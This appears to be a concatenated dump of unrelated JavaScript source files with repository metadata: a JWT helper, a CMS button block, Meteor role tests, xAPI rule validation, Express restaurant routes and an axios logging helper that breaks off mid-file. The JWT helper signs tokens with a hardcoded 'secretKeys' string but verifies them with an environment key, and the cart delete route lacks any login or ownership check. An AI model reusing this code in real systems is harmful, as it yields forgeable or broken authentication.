] | null | null | null | v1/helpers/jwtAuthHelper.js | itsUk45/nodejs-boilerspot | 8178f6713d03e29ab5b5361dba2fc3adeb3f1f51 | [
"MIT"
] | 3 | 2020-09-07T08:38:33.000Z | 2021-05-10T15:02:57.000Z | v1/helpers/jwtAuthHelper.js | kosekaku/nodejs-boilerspot | 8178f6713d03e29ab5b5361dba2fc3adeb3f1f51 | [
"MIT"
] | null | null | null | import jwt from 'jsonwebtoken';
import dotenv from 'dotenv';
dotenv.config();
// generate tokens
const GenerateTokens = (email) => {
const token = jwt.sign(
{ email }, 'secretKeys',
{
expiresIn: '1hr',
},
);
return token;
};
// user verification helper function
const verifyUser = (tokens, res) => {
try {
const decoded = jwt.verify(tokens, process.env.JWT_KEY);
return decoded;
} catch (error) {
res.status(401).send({ status: 'error', error });
}
};
export { GenerateTokens, verifyUser };
| 19.178571 | 60 | 0.629423 |
0614543ea408fc7c65ce50e8b85053d2526998d5 | 5,841 | js | JavaScript | src/Core/assets/js/Backend/BlockEditor/Blocks/Button.js | justcarakas/forkcms | 68db876bb1711ed9bf31a4607e1d5585e598e4d5 | [
"MIT"
] | null | null | null | src/Core/assets/js/Backend/BlockEditor/Blocks/Button.js | justcarakas/forkcms | 68db876bb1711ed9bf31a4607e1d5585e598e4d5 | [
"MIT"
] | 58 | 2021-11-01T04:48:46.000Z | 2022-03-31T04:24:44.000Z | src/Core/assets/js/Backend/BlockEditor/Blocks/Button.js | justcarakas/forkcms | 68db876bb1711ed9bf31a4607e1d5585e598e4d5 | [
"MIT"
] | 1 | 2017-10-05T14:27:24.000Z | 2017-10-05T14:27:24.000Z | import { StringUtil } from '../../Components/StringUtil'
class Button {
constructor ({data}) {
this.data = {
url: data.url,
text: data.text,
style: data.style,
targetBlank: data.targetBlank !== undefined ? data.targetBlank : false
}
this.settings = [
{
name: 'targetBlank',
icon: `<svg width="20" height="20" viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"><path d="M15.8 10.592v2.043h2.35v2.138H15.8v2.232h-2.25v-2.232h-2.4v-2.138h2.4v-2.28h2.25v.237h1.15-1.15zM1.9 8.455v-3.42c0-1.154.985-2.09 2.2-2.09h4.2v2.137H4.15v3.373H1.9zm0 2.137h2.25v3.325H8.3v2.138H4.1c-1.215 0-2.2-.936-2.2-2.09v-3.373zm15.05-2.137H14.7V5.082h-4.15V2.945h4.2c1.215 0 2.2.936 2.2 2.09v3.42z"/></svg>`,
title: window.backend.locale.lbl('TargetBlank')
}
]
}
static get toolbox () {
return {
title: StringUtil.ucfirst(window.backend.locale.lbl('Button')),
icon: '<svg width="20" height="10.1" viewBox="0 0 20 10.1" xmlns="http://www.w3.org/2000/svg"><path d="M15.3,2C16.8,2,18,3.2,18,4.7v0.7c0,1.5-1.2,2.7-2.7,2.7H4.7C3.2,8.1,2,6.9,2,5.4V4.7C2,3.2,3.2,2,4.7,2H15.3 M15.3,0H4.7C2.1,0,0,2.1,0,4.7v0.7c0,2.6,2.1,4.7,4.7,4.7h10.5c2.6,0,4.7-2.1,4.7-4.7V4.7C20,2.1,17.9,0,15.3,0L15.3,0z"/><rect x="4.6" y="4.6" width="7.6" height="1"/><polygon points="14.9,6.7 14.2,6 15,5.1 14.2,4.1 15,3.5 16.4,5.1 \t\t"/>\n</svg>'
}
}
/**
* CSS classes
*
* @returns {{wrapper: string, wrapperLabel: string, input: string, label: string, settingsWrapper: string, settingsButton: string, settingsButtonActive: string}}
*/
get CSS () {
return {
wrapper: 'ce-wrapper',
wrapperLabel: 'ce-wrapper-label',
input: 'ce-input',
label: 'ce-label',
settingsWrapper: 'cdx-button-settings',
settingsButton: 'ce-settings__button',
settingsButtonActive: 'cdx-settings-button--active'
}
}
renderSettings () {
const wrapper = this._make('div', this.CSS.settingsWrapper)
this.settings.forEach(tune => {
let button = this._make('div', this.CSS.settingsButton,
{
innerHTML: tune.icon,
title: tune.title
})
if (this.data[tune.name] === true) {
button.classList.add(this.CSS.settingsButtonActive)
}
wrapper.appendChild(button)
button.addEventListener('click', () => {
this._toggleTune(tune.name)
button.classList.toggle(this.CSS.settingsButtonActive)
})
})
return wrapper
}
_toggleTune (tune) {
this.data[tune] = !this.data[tune]
}
render () {
// wrapper
const wrapper = this._make('div', this.CSS.wrapper, {}, {
'data-block-content': ''
})
const wrapperContent = this._make('div')
const wrapperTitle = this._make('label', this.CSS.wrapperLabel,
{
innerHTML: StringUtil.ucfirst(window.backend.locale.lbl('Button'))
}
)
// Button text
const labelText = this._make('label', this.CSS.label,
{
innerHTML: StringUtil.ucfirst(window.backend.locale.lbl('Text'))
}
)
const inputText = this._make('input', this.CSS.input,
{
type: 'text',
value: this.data && this.data.text ? this.data.text : ''
},
{
'data-input-text': ''
}
)
// Button url
const labelUrl = this._make('label', this.CSS.label,
{
innerHTML: StringUtil.ucfirst(window.backend.locale.lbl('Link'))
}
)
const inputUrl = this._make('input', this.CSS.input,
{
type: 'text',
value: this.data && this.data.url ? this.data.url : ''
},
{
'data-input-url': ''
}
)
// Button color
const labelColor = this._make('label', this.CSS.label,
{
innerHTML: StringUtil.ucfirst(window.backend.locale.lbl('Color'))
}
)
const selectColor = this._make('select', this.CSS.input, {}, {
'data-select-color': ''
})
const opt1 = this._make('option', null,
{
value: 'primary',
innerHTML: 'primary'
}
)
const opt2 = this._make('option', null,
{
value: 'secondary',
innerHTML: 'secondary'
}
)
// append to wrapper
selectColor.appendChild(opt1)
selectColor.appendChild(opt2)
wrapperContent.appendChild(labelText)
wrapperContent.appendChild(inputText)
wrapperContent.appendChild(labelUrl)
wrapperContent.appendChild(inputUrl)
wrapperContent.appendChild(labelColor)
wrapperContent.appendChild(selectColor)
wrapper.appendChild(wrapperTitle)
wrapper.appendChild(wrapperContent)
return wrapper
}
save (blockContent) {
const inputUrl = blockContent.querySelector('[data-input-url]')
const inputText = blockContent.querySelector('[data-input-text]')
const selectColor = blockContent.querySelector('[data-select-color]')
return Object.assign(this.data, {
url: inputUrl.value,
text: inputText.value,
style: selectColor.value
})
}
/**
* Helper for making Elements with attributes
*
* @param {string} tagName - new Element tag name
* @param {Array|string} classNames - list or name of CSS classname(s)
* @param {object} attributes - any attributes
* @returns {Element}
*/
_make (tagName, classNames = null, attributes = {}, customAttributes = {}) {
const el = document.createElement(tagName)
if (Array.isArray(classNames)) {
el.classList.add(...classNames)
} else if (classNames) {
el.classList.add(classNames)
}
for (const attrName in attributes) {
el[attrName] = attributes[attrName]
}
for (const attrName in customAttributes) {
el.setAttribute(attrName, customAttributes[attrName])
}
return el
}
}
export default Button
| 29.5 | 460 | 0.610341 |
06149264c8f12492479fcb6cacc00794b60f9902 | 2,133 | js | JavaScript | tests/gagarin/RolesTests.js | clinical-meteor/clinical-roles | f2d2c44b8422f97173c4515bdeb4d5883672317a | [
"MIT"
] | null | null | null | tests/gagarin/RolesTests.js | clinical-meteor/clinical-roles | f2d2c44b8422f97173c4515bdeb4d5883672317a | [
"MIT"
] | null | null | null | tests/gagarin/RolesTests.js | clinical-meteor/clinical-roles | f2d2c44b8422f97173c4515bdeb4d5883672317a | [
"MIT"
] | null | null | null |
describe('clinical:roles', function () {
var server = meteor();
var client = browser(server);
var newUserId = null;
afterEach(function () {
server.execute(function () {
Roles.remove({});
Meteor.users.remove({});
});
});
it('Roles should exist on the client', function () {
return client.execute(function () {
expect(Roles).to.exist;
});
});
it('Roles should exist on the server', function () {
return server.execute(function () {
expect(Roles).to.exist;
});
});
it("Can create new roles.", function () {
return server.execute(function () {
expect(Roles.createRole("test")).to.exist;
});
});
it("Add user to role.", function () {
return server.execute(function () {
var userId = Accounts.createUser({
username: 'chase',
password: 'chase',
email: 'chase@test.org',
profile: {
fullName: 'Robert Chase',
role: 'Physician',
avatar: '/packages/clinical_accounts-housemd/housemd/robert.chase.jpg'
}
});
Roles.addUsersToRoles(userId, ["user", "admin"]);
expect(Roles.userIsInRole(userId, 'user')).to.be.true;
return userId;
}).then(function (value){
newUserId = value;
});
});
it("Can return a list of all the users in a role.", function () {
return server.execute(function (newUserId) {
// var userId = Accounts.createUser({
// username: 'chase',
// password: 'chase',
// email: 'chase@test.org',
// profile: {
// fullName: 'Robert Chase',
// role: 'Physician',
// avatar: '/packages/clinical_accounts-housemd/housemd/robert.chase.jpg'
// }
// });
// Roles.addUsersToRoles(userId, ["editors"]);
return Roles.userIsInRole(newUserId, 'user');
// var users = Roles.getUsersInRole('admin');
// var firstUser = users[0];
// expect(firstUser.username).to.equal("chase");
}, [newUserId]).then(function(userInRole){
expect(userInRole).to.be.true;
});
});
});
//-------------------------------------
| 27.701299 | 83 | 0.558837 |
0614ab82900a4781e720996ed5e5707614958fa7 | 11,178 | js | JavaScript | profile-server/client/src/utils/ruleContentValidation.js | adlnet/profile-server | 9452ce0eea3cf6413f499f83d30752b5b27a4655 | [
"Apache-2.0"
] | 1 | 2021-09-21T09:41:34.000Z | 2021-09-21T09:41:34.000Z | profile-server/client/src/utils/ruleContentValidation.js | adlnet/profile-server | 9452ce0eea3cf6413f499f83d30752b5b27a4655 | [
"Apache-2.0"
] | 1 | 2021-04-02T19:15:54.000Z | 2021-05-04T13:02:08.000Z | profile-server/client/src/utils/ruleContentValidation.js | adlnet/profile-server | 9452ce0eea3cf6413f499f83d30752b5b27a4655 | [
"Apache-2.0"
] | 1 | 2021-12-14T13:38:53.000Z | 2021-12-14T13:38:53.000Z | /** ***************************************************************
* Copyright 2020 Advanced Distributed Learning (ADL)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
**************************************************************** */
export function getConditionsList (rules) {
return Object.entries(rules).map(([key, value]) => {
if (['presence', 'all', 'any', 'none'].includes(key)) {
if (key === 'presence' && value !== 'excluded') {
return null;
} else {
return {
type: key,
value: value,
}
}
} else {
return null;
}
}).filter(r => r);
};
export function getLocationMap (location, determiningProperties) {
/*
We are only looking at locations that might relate to determining properties that could be specified by the templates.
*/
const locationMap = {
'$.verb': { type: 'presence', propType: 'verb', determiningProperties: determiningProperties.verb },
'$.verb.id': { type: 'value', propType: 'verb', determiningProperties: determiningProperties.verb },
'$.object.definition': { type: 'presence', propType: 'objectActivityType', determiningProperties: determiningProperties.objectActivityType },
'$.object.definition.type': { type: 'value', propType: 'objectActivityType', determiningProperties: determiningProperties.objectActivityType },
'$.verb.id': { type: 'value', propType: 'verb', determiningProperties: determiningProperties.verb },
'$.context.contextActivities.parent': { type: 'presence', propType: 'contextParentActivityType', determiningProperties: determiningProperties.contextParentActivityType },
'$.context.contextActivities.parent.definition': { type: 'presence', propType: 'contextParentActivityType', determiningProperties: determiningProperties.contextParentActivityType },
'$.context.contextActivities.parent.definition.type': { type: 'value', propType: 'contextParentActivityType', determiningProperties: determiningProperties.contextParentActivityType },
'$.context.contextActivities.parent[*].definition': { type: 'presence', propType: 'contextParentActivityType', determiningProperties: determiningProperties.contextParentActivityType },
'$.context.contextActivities.parent[*].definition.type': { type: 'value', propType: 'contextParentActivityType', determiningProperties: determiningProperties.contextParentActivityType },
'$.context.contextActivities.grouping': { type: 'presence', propType: 'contextGroupingActivityType', determiningProperties: determiningProperties.contextGroupingActivityType },
'$.context.contextActivities.grouping.definition': { type: 'presence', propType: 'contextGroupingActivityType', determiningProperties: determiningProperties.contextGroupingActivityType },
'$.context.contextActivities.grouping.definition.type': { type: 'value', propType: 'contextGroupingActivityType', determiningProperties: determiningProperties.contextGroupingActivityType },
'$.context.contextActivities.grouping[*].definition': { type: 'presence', propType: 'contextGroupingActivityType', determiningProperties: determiningProperties.contextGroupingActivityType },
'$.context.contextActivities.grouping[*].definition.type': { type: 'value', propType: 'contextGroupingActivityType', determiningProperties: determiningProperties.contextGroupingActivityType },
'$.context.contextActivities.category': { type: 'presence', propType: 'contextCategoryActivityType', determiningProperties: determiningProperties.contextCategoryActivityType },
'$.context.contextActivities.category.definition': { type: 'presence', propType: 'contextCategoryActivityType', determiningProperties: determiningProperties.contextCategoryActivityType },
'$.context.contextActivities.category.definition.type': { type: 'value', propType: 'contextCategoryActivityType', determiningProperties: determiningProperties.contextCategoryActivityType },
'$.context.contextActivities.category[*].definition': { type: 'presence', propType: 'contextCategoryActivityType', determiningProperties: determiningProperties.contextCategoryActivityType },
'$.context.contextActivities.category[*].definition.type': { type: 'value', propType: 'contextCategoryActivityType', determiningProperties: determiningProperties.contextCategoryActivityType },
'$.context.contextActivities.other': { type: 'presence', propType: 'contextOtherActivityType', determiningProperties: determiningProperties.contextOtherActivityType },
'$.context.contextActivities.other.definition': { type: 'presence', propType: 'contextOtherActivityType', determiningProperties: determiningProperties.contextOtherActivityType },
'$.context.contextActivities.other.definition.type': { type: 'value', propType: 'contextOtherActivityType', determiningProperties: determiningProperties.contextOtherActivityType },
'$.context.contextActivities.other[*].definition': { type: 'presence', propType: 'contextOtherActivityType', determiningProperties: determiningProperties.contextOtherActivityType },
'$.context.contextActivities.other[*].definition.type': { type: 'value', propType: 'contextOtherActivityType', determiningProperties: determiningProperties.contextOtherActivityType },
'$.attachments': { type: 'presence', propType: 'attachmentUsageType', determiningProperties: determiningProperties.attachmentUsageType },
'$.attachments[*].usageType': { type: 'value', propType: 'attachmentUsageType', determiningProperties: determiningProperties.attachmentUsageType },
};
const map = locationMap[location];
if (!map) return;
return {
location: location,
...map,
};
}
export function getDeterminingPropMap (determiningProperties) {
return determiningProperties.reduce((acc, curr) => {
if (Array.isArray(curr.properties) && curr.properties.length > 0) {
acc[curr.propertyType] = curr.properties.map(c => c.iri);
} else if (curr.properties) {
acc[curr.propertyType] = curr.properties.iri;
}
return acc;
}, {});
};
export function testExcludedPresence (locationMap) {
const determiningProperties = locationMap.determiningProperties;
console.log('test', locationMap)
if ((Array.isArray(determiningProperties) && determiningProperties.length) || determiningProperties) {
throw new Error(
`The presence cannot be excluded for location ${locationMap.location} because a ${locationMap.propType} determining property has been specified for this template.`,
);
}
}
export function testAll (locationMap, value) {
const determiningProperties = locationMap.determiningProperties;
if (!determiningProperties || (Array.isArray(determiningProperties) && determiningProperties.length <= 0)) {
throw new Error(
`There cannot be an all condition for location ${locationMap.location} because a ${locationMap.propType} determining property has not been specified for this template.`,
);
}
let failed = false;
if (Array.isArray(determiningProperties)) {
if (!determiningProperties.every(d => value.includes(d))) {
failed = true;
} else {
return;
}
}
if (!value.includes(determiningProperties)) {
failed = true;
}
if (failed) {
throw new Error(
`Not every value in the ${locationMap.propType} determining property specified for ${locationMap.location} is present in the all condition values.`,
);
}
}
export function testAny (locationMap, value) {
const determiningProperties = locationMap.determiningProperties;
if (!(determiningProperties) || (Array.isArray(determiningProperties) && determiningProperties.length <= 0)) {
throw new Error(
`There cannot be an any condition for location ${locationMap.location} because a ${locationMap.propType} determining property has not been specified for this template.`,
);
}
let failed = false;
if (Array.isArray(determiningProperties)) {
if (!determiningProperties.some(d => value.includes(d))) {
failed = true;
} else {
return;
}
}
if (!value.includes(determiningProperties)) {
failed = true;
}
if (failed) {
throw new Error(
`No value in the ${locationMap.propType} determining property specified for ${locationMap.location} is present in the any condition values.`,
);
}
}
export function testNone (locationMap, value) {
const determiningProperties = locationMap.determiningProperties;
let failed = false;
if (Array.isArray(determiningProperties)) {
if (determiningProperties.some(d => value.includes(d))) {
failed = true;
} else {
return;
}
}
if (determiningProperties && value.includes(determiningProperties)) {
failed = true;
}
if (failed) {
throw new Error(
`There are values in the ${locationMap.propType} determining property specified for ${locationMap.location} that are present in the none condition values.`,
);
}
}
export function testCondition (locationMap, condition) {
if (condition.type === 'presence') {
testExcludedPresence(locationMap);
return;
}
if (locationMap.type === 'value') {
if (condition.type === 'all') {
testAll(locationMap, condition.value);
} else if (condition.type === 'any') {
testAny(locationMap, condition.value);
} else if (condition.type === 'none') {
testNone(locationMap, condition.value);
}
}
}
export function validateRuleContent (determiningProperties, rule) {
const detPropMap = getDeterminingPropMap(determiningProperties);
const locationMap = getLocationMap(rule.location, detPropMap);
if (!locationMap) return;
const conditionList = getConditionsList(rule);
console.log('validating', detPropMap, locationMap, conditionList);
if (
conditionList.find(c => c.type === 'presence')
&& conditionList.find(c => ['any', 'all'].includes(c.type))
) {
throw new Error(
`There is a presence condition equal to excluded and at least one of an any or all condition types for location ${locationMap.location}.`
);
}
conditionList.forEach(c => {
testCondition(locationMap, c);
});
};
| 51.75 | 200 | 0.688316 |
0615d3a09b45407f8e123eeb31c56809fd08f7f4 | 268 | js | JavaScript | jest.config.js | fegos/fego-rn | d7ccc9016e14e6696ab1bfa9c864f4c084ca9104 | [
"MIT"
] | 21 | 2017-12-28T03:08:58.000Z | 2021-08-06T09:43:54.000Z | jest.config.js | fegos/fego-rn | d7ccc9016e14e6696ab1bfa9c864f4c084ca9104 | [
"MIT"
] | 2 | 2018-01-16T09:00:24.000Z | 2018-03-09T08:00:19.000Z | jest.config.js | fegos/fego-rn | d7ccc9016e14e6696ab1bfa9c864f4c084ca9104 | [
"MIT"
] | 7 | 2017-12-29T02:13:33.000Z | 2018-09-07T03:57:27.000Z | module.exports = {
preset: 'react-native',
setupFiles: [
'./__tests__/enzyme.setup.js',
],
moduleFileExtensions: [
'js',
'jsx',
],
testPathIgnorePatterns: [
'node_modules',
'example',
],
testRegex: '(/components/.*test)\\.js?$',
};
| 16.75 | 43 | 0.570896 |
061614bfa89d309f1bc10ecf87bec085424565d9 | 538 | js | JavaScript | initializers/associations.js | gcoonrod/rainbarrel | fb0fc1bbc8db8c89773645bd541a9d18cb5c8188 | [
"MIT"
] | null | null | null | initializers/associations.js | gcoonrod/rainbarrel | fb0fc1bbc8db8c89773645bd541a9d18cb5c8188 | [
"MIT"
] | null | null | null | initializers/associations.js | gcoonrod/rainbarrel | fb0fc1bbc8db8c89773645bd541a9d18cb5c8188 | [
"MIT"
] | null | null | null | 'use strict'
const ActionHero = require('actionhero')
module.exports = class AssociationsInitializer extends ActionHero.Initializer {
constructor () {
super()
this.name = 'associations'
this.loadPriority = 1000
this.startPriority = 1002
this.stopPriority = 1000
}
async initialize () {}
async start () {
for(const model of Object.values(ActionHero.api.models)){
if(typeof model.associate === 'function'){
await model.associate(ActionHero.api.models)
}
}
}
async stop () {}
}
| 22.416667 | 79 | 0.659851 |
0616335979c204c054f0253062c9b656be1e1f50 | 948 | js | JavaScript | server/database/index.js | imagineLife/saywhat-api | 22251256d25d16e4657c938a3759a003ebd5fe92 | [
"MIT"
] | null | null | null | server/database/index.js | imagineLife/saywhat-api | 22251256d25d16e4657c938a3759a003ebd5fe92 | [
"MIT"
] | null | null | null | server/database/index.js | imagineLife/saywhat-api | 22251256d25d16e4657c938a3759a003ebd5fe92 | [
"MIT"
] | null | null | null | const { MongoClient } = require('mongodb');
const { GLOBAL_STATE } = require('../global')
const { DB } = require('../models')
function makeConnectionString({
username,
pw,
host,
port,
authDB
}){
// Error Handling
if(typeof host === 'undefined' ||
typeof port === 'undefined'){
console.log(`missing vars: host: ${host}, port: ${port}`)
throw 'Cannot create db connection with missing param';
}
if(
!process.env.MONGO_AUTH &&
(!username ||
!pw ||
!authDB)
){
console.log(`Expected auth connection to db`)
throw 'Cannot create db connection with missing param';
}
// no auth?!
if(process?.env?.MONGO_AUTH?.toString() === 'false'){
return `mongodb://${host}:${port}/?connectTimeoutMS=2500`;
}
//auth'd
return `mongodb://${username}:${pw}@${host}:${port}/?authSource=${authDB}`;
}
module.exports = {
makeConnectionString,
// setupStores,
// setupCollection
} | 22.571429 | 77 | 0.610759 |
06166d19cbe1b098b0828e35c10c8c9a147e48ff | 750 | js | JavaScript | web-content/src/app/pod/members/model/LocalPodMember.js | cyclic-reference/spring-webflux | 9bedc43511b5f1ab3770ba502f1aab6f38221b7a | [
"MIT"
] | null | null | null | web-content/src/app/pod/members/model/LocalPodMember.js | cyclic-reference/spring-webflux | 9bedc43511b5f1ab3770ba502f1aab6f38221b7a | [
"MIT"
] | 1 | 2018-12-29T21:32:26.000Z | 2018-12-29T21:32:26.000Z | web-content/src/app/pod/members/model/LocalPodMember.js | cyclic-reference/event-sourcing-workshop | f7741fca5eb9e17b449d5c87544600d73e436e33 | [
"MIT"
] | null | null | null | "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
var PersonalInformation_1 = require("./PersonalInformation");
var rxjs_1 = require("rxjs");
var LocalPodMember = /** @class */ (function () {
function LocalPodMember(id, avatar) {
this.personalInformation = rxjs_1.Observable.of(new PersonalInformation_1.PersonalInformation());
this._identifier = id;
this.avatar = avatar;
}
LocalPodMember.prototype.getIdentifier = function () {
return this._identifier.id;
};
LocalPodMember.prototype.setAvatar = function (avatar) {
this.avatar = avatar;
};
return LocalPodMember;
}());
exports.LocalPodMember = LocalPodMember;
//# sourceMappingURL=LocalPodMember.js.map | 37.5 | 105 | 0.694667 |
0617c6d8dd5078922c8bc3bb78be17f9618d4189 | 49 | js | JavaScript | packages/dapp/src/components/molecules/Amount/index.js | RigoBlock/rigoblock-monorepo | e1fdc30407c1d1599219916e46c3c00177971d4c | [
"Apache-2.0"
] | 2 | 2019-05-18T13:28:28.000Z | 2019-09-26T09:17:15.000Z | packages/dapp/src/components/molecules/Amount/index.js | RigoBlock/rigoblock-monorepo | e1fdc30407c1d1599219916e46c3c00177971d4c | [
"Apache-2.0"
] | 143 | 2019-01-16T18:46:24.000Z | 2022-03-31T19:23:48.000Z | packages/dapp/src/components/molecules/Amount/index.js | RigoBlock/rigoblock-monorepo | e1fdc30407c1d1599219916e46c3c00177971d4c | [
"Apache-2.0"
] | 1 | 2019-04-26T11:48:02.000Z | 2019-04-26T11:48:02.000Z | export { default, AMOUNT_SIZES } from './Amount'
| 24.5 | 48 | 0.714286 |
061828358dc1761628353faac4810d565b63bcc8 | 5,365 | js | JavaScript | routes/restaurant.js | ivishalydv/web_d | 98e327289a2538d5eb7720dea9d2e1f68324adb2 | [
"MIT"
] | 1 | 2021-07-18T10:32:07.000Z | 2021-07-18T10:32:07.000Z | routes/restaurant.js | Atul-saini/Restaurant-App | 07c1e2f3cb72890f17397fe674b3c9f8fba8f0ee | [
"MIT"
] | 1 | 2021-05-09T00:25:34.000Z | 2021-05-09T00:25:34.000Z | routes/restaurant.js | Atul-saini/Restaurant-App | 07c1e2f3cb72890f17397fe674b3c9f8fba8f0ee | [
"MIT"
] | null | null | null | var express = require("express");
var router = express.Router({ mergeParams: true });
var User = require("../models/user");
var Order = require("../models/order");
var Info = require("../models/info");
var methodOverride = require("method-override");
var flash = require("connect-flash");
var sendgrid = require("@sendgrid/mail");
//Setting up SENDGRID
sendgrid.setApiKey(process.env.SENDGRID_API_KEY);
//Setting up flash
router.use(flash());
//Basic Restaurant Routes
router.get('/', (req, res) => {
res.render("index");
console.log("homepage logged");
});
router.get('/about', (req, res) => {
res.render("about");
console.log("About section logged");
});
router.get('/gallery', (req, res) => {
res.render("gallery");
console.log("Gallery logged");
});
//=======================================
//Order adding routes
router.get('/menu', isLoggedIn, (req, res) => {
res.render("menu");
console.log("Menu logged");
});
router.post('/menu', isLoggedIn, (req, res) => {
//console.log(req.user.username);
Order.count({ username: req.user.username, name: req.body.order.name }, (err, result) => {
if (err) {
console.log(err);
} else {
//console.log(result);
if (result == 0) {
req.body.order.value = 1;
req.body.order.username = req.user.username;
Order.create(req.body.order, (err, newOrder) => {
if (err) {
res.render("/");
console.log(err);
} else {
//console.log(newOrder);
req.user.orders.push(newOrder);
req.user.save();
res.redirect("menu");
}
});
} else {
Order.findOne({ username: req.user.username, name: req.body.order.name }, (err, data) => {
if (err) {
console.log(err);
} else {
var newValue = data.value + 1;
//console.log(newValue);
data.value = newValue;
data.save();
res.redirect("menu");
}
})
}
}
})
// req.body.order.value = 1;
// Order.create(req.body.order, (err, newOrder) => {
// if (err) {
// res.render("/");
// console.log(err);
// } else {
// req.user.orders.push(newOrder);
// req.user.save();
// res.redirect("menu");
// }
// });
});
//========================================
router.get('/cart', isLoggedIn, (req, res) => {
Order.find({ '_id': { $in: req.user.orders } }, (err, food) => {
if (err) {
console.log(err);
}
else {
res.render("order_online", { foods: food });
}
})
});
//========================================
router.get('/order', isLoggedIn, (req, res) => {
Order.find({ '_id': { $in: req.user.orders } }, (err, food) => {
if (err) {
console.log(err);
}
else {
res.render("order", { foods: food });
}
})
});
router.post("/order", isLoggedIn, (req, res) => {
var output = `
<p>You have a new order</p>
<p>Order Details</p>
<ul>
<li>Name:${req.body.info.name}</li>
<li>Email:${req.body.info.email}</li>
<li>Payment:${req.body.info.method}</li>
<li>Address:${req.body.info.address}</li>
</ul>
`;
Info.create(req.body.info, (err, newOrder) => {
if (err) {
res.render('order');
} else {
const msg = {
to: req.body.info.email,
from: 'noreply@taimur.com',
subject: `Thank you ${req.body.info.name}`,
text: 'Order Details',
html: output
};
sendgrid.send(msg, (err, done) => {
if (err) {
console.log(err);
} else {
res.render("order_placed", { Person: newOrder });
}
});
}
});
})
//========================================
router.get('/thankyou', isLoggedIn, (req, res) => {
res.render("order_placed");
console.log("Thank you");
});
//=========================================
router.get('/feedback', isLoggedIn, (req, res) => {
res.render("feedback");
console.log("Thank you for your feedback");
});
//=========================================
router.delete("/cart", (req, res) => {
console.log(req.body.food.id);
Order.findByIdAndRemove(req.body.food.id, (err, removedItem) => {
if (err) {
console.log(err);
} else {
res.redirect("/cart");
}
})
});
//=========================================
//Middleware
function isLoggedIn(req, res, next) {
if (req.isAuthenticated()) {
return next();
} else {
req.flash("error", "Please log in first");
res.redirect("/login");
}
};
module.exports = router; | 27.512821 | 106 | 0.430382 |
0618d1360ce04753e3d9fa4a2524d409f2431542 | 4,234 | js | JavaScript | ExampleVue/example-vue/src/http.js | stone-info/OCTemplate | bb8c1c6f2adc414a50526a1cf5f57ab580b80c6f | [
"MIT"
] | null | null | null | ExampleVue/example-vue/src/http.js | stone-info/OCTemplate | bb8c1c6f2adc414a50526a1cf5f57ab580b80c6f | [
"MIT"
] | 4 | 2021-10-05T22:36:32.000Z | 2022-02-26T11:38:20.000Z | ExampleVue/example-vue/src/http.js | stone-info/OCTemplate | bb8c1c6f2adc414a50526a1cf5f57ab580b80c6f | [
"MIT"
] | null | null | null | import axios from 'axios'
import {dlog, Info} from './lib/dlog.js'
function startLoading(req) {
hGroupBegin('GROUP BEGIN /////////////////////////////////////////////////////////////////////////////////', `'req拦截器 BEGIN'`, 'http.js:5', 0)
hNormalLog(req.url, `req.url`, 'http.js:66', 0)
hNormalLog(req.method, `req.method 请求method`, 'http.js:67', 0)
hNormalLog(req.headers, `req.headers 请求头信息`, 'http.js:68', 0)
hNormalLog(req.transformRequest, `req.transformRequest`, 'http.js:69', 0)
hNormalLog(req.transformResponse, `req.transformResponse`, 'http.js:70', 0)
hNormalLog(req.timeout, `req.timeout`, 'http.js:71', 0)
// hNormalLog(conf.adapter, `req.adapter`, 'http.js:72', 0)
hNormalLog(req.xsrfCookieName, `req.xsrfCookieName`, 'http.js:73', 0)
hNormalLog(req.xsrfHeaderName, `req.xsrfHeaderName`, 'http.js:74', 0)
hNormalLog(req.maxContentLength, `req.maxContentLength`, 'http.js:75', 0)
// hNormalLog(conf.validateStatus, `req.validateStatus`, 'http.js:76', 0)
hGroupEnd('GROUP END \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\', `'req拦截器' END`, 'http.js:77', 0)
}
function endLoading(res) {
hGroupBegin('GROUP BEGIN /////////////////////////////////////////////////////////////////////////////////', `'res拦截器 BEGIN'`, 'http.js:211', 0)
hNormalLog(res.config.url, `res.config.url`, 'http.js:210', 0)
hNormalLog(res.data, `res.data 响应内容`, 'http.js:222', 0)
hNormalLog(res.status, `res.status 请求响应状态码`, 'http.js:212', 0)
hNormalLog(res.statusText, `res.statusText 请求响应状态码文本`, 'http.js:213', 0)
hNormalLog(res.headers, `res.headers 响应头信息`, 'http.js:214', 0)
hNormalLog(res.config, `res.config 配置信息`, 'http.js:214', 0)
hNormalLog(res.request, `res.request 请求对象`, 'http.js:216', 0)
hGroupEnd('GROUP END \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\', `'res拦截信息' END`, 'http.js:217', 0)
}
function errorLoading(error) {
hGroupBegin('GROUP BEGIN /////////////////////////////////////////////////////////////////////////////////', `'error拦截器 BEGIN'`, 'http.js:551', 1)
hNormalLog(error.config.url, `error.config.url`, 'http.js:554', 1)
// hNormalLog(error.stack, `error.stack`, 'http.js:552', 1)
hNormalLog(error.message, `error.message`, 'http.js:553', 1)
hNormalLog(error.config, `error.config`, 'http.js:554', 1)
hNormalLog(error.request, `error.request`, 'http.js:555', 1)
hNormalLog(error.response, `error.response`, 'http.js:556', 1)
hNormalLog(error.isAxiosError, `error.isAxiosError`, 'http.js:557', 1)
hNormalLog(error.toJSON, `error.toJSON`, 'http.js:558', 1)
